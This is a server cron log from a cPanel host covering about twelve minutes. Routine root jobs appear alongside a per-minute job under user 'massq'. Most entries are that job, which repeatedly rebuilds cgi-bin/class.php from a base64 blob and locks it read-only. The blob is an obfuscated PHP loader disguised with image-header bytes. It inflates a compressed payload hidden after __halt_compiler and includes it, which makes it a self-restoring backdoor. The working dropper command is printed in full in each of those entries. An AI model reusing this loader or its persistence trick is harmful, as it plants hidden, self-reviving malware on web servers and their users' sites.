Nov  9 20:10:01 server CROND[31292]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 20:10:01 server CROND[31293]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:11:01 server CROND[32290]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:12:01 server CROND[321]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:12:01 server CROND[322]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 20:13:01 server CROND[1117]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:14:01 server CROND[1709]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:15:01 server CROND[2371]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 20:15:01 server CROND[2374]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:15:01 server CROND[2372]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov  9 20:15:01 server CROND[2373]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 20:16:01 server CROND[2786]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:17:01 server CROND[3496]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:18:01 server CROND[3752]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:19:01 server CROND[4669]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:20:01 server CROND[5375]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 20:20:01 server CROND[5376]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 20:20:01 server CROND[5378]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 20:20:01 server CROND[5380]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 20:20:01 server CROND[5379]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:21:01 server CROND[6127]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:22:01 server CROND[6938]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
